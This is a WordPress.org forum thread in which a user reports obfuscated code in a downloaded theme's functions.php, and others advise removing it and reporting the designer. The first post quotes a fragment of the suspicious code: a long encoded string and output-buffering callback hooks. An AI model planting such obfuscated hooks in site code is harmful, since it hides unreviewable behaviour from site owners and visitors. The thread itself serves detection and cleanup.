WordPress.org

1. Dsmythe
   Member
   Posted 4 months ago #

   I am using a theme I got here:

   http://themes.wordpress.net/columns/2-columns/3165/mathew01-10/

   While working with it to get blog stats working... I noticed in the functions.php page a bunch of what appears to be, well, what I would call funny coding... the last I saw this in open sourced stuff was when my joomla site got hacked...

   <?php
   
   $a8hg6hj="2b8cf2e156673289c47f9ca273e3d87eVBdWABJbCl8VVVdbX1BZWggcEwRMBQdXRRoeE0QcRwRAA1UGElcXEQgWVFZAVw4NPFBSBVYHBBoVbx0GVGRPUQo+CVNXbh0DV2BqTwcFUGVSAgc6QVVSbgYEVG8cDAU5SlUIAB9uHQUHagcCA25ADVpoT1IOP1ABBW9UBFVkBlYAPglRUW5UAwBqTgEEbgkLVWgHUAs/UQUGbx0EXWJrVANSej9XBVRtTQNXawIBCGVSBQE6QVQAbk8HXG9VCQc5SlcKPx4EBm0EAgRrAgEIZVIEBToIVVJuBgBUbxwNDzlKVwoPOgNUAGlOAg9vAwgLP0wAX2UbVwBrA1MAOAkEV0I

   and

   function wp_begin(){
   	ob_start("callback");
   }
   function wp_end_of_file(){
   	ob_end_flush();

   Rather a newb about all this. My feeling is I should dump the theme immediately... but I am beholden to it right now and would rather just dump this funny stuff.

   Could someone tell me about this?

2. ClaytonJames
   Member
   Posted 4 months ago #

   The entire functions.php file in that theme is encrypted. Dump it.

3. jonimueller
   Member
   Posted 4 months ago #

   <?php
   if ( function_exists('register_sidebar') )
       register_sidebar(array(
           'before_widget' => '<li id="%1$s" class="widget %2$s">',
           'after_widget' => '</li>',
           'before_title' => '<h2 class="widgettitle">',
           'after_title' => '</h2>',
       ));
   
   ?>

   Is all you need in that functions.php file. Why on earth a professional web designer would resort to those tactics (I downloaded the theme just to see for myself whether he'd put the encrypted crap in there himself) is beyond me. This is far worse than sponsored themes ... or at least on the same level. Boo hiss.

4. whooami
   Member
   Posted 4 months ago #

   that should be reported the the person that runs the themes site --

5. Dsmythe
   Member
   Posted 4 months ago #

   I'd report it... but I can't get the submit report to work on...

   http://themes.wordpress.net/report/

   Won't take ANY email address I have.

   I must be cursed lately!

   Thanks all!

6. jonimueller
   Member
   Posted 4 months ago #

   That thing hasn't worked in ages. I think it's circling the drain now, has been for some months. Shame too.

7. ClaytonJames
   Member
   Posted 4 months ago #

   The designer claims it's just a Kubrick mod. Here's how to get it (the latest encrypted version that is), or inquire about it if you really want to.

   http://www.mbwebdesign.co.uk/templates/wordpress/

8. jonimueller
   Member
   Posted 4 months ago #

   Yep, CJ, that's what I downloaded yesterday and it contained encryption. Once I killed all the encrypted crap, I was left with the code which I posted above. He's not a bad designer, as far as his designs go. It troubles me that he feels the need to include this in his themes.

Reply

You must log in to post.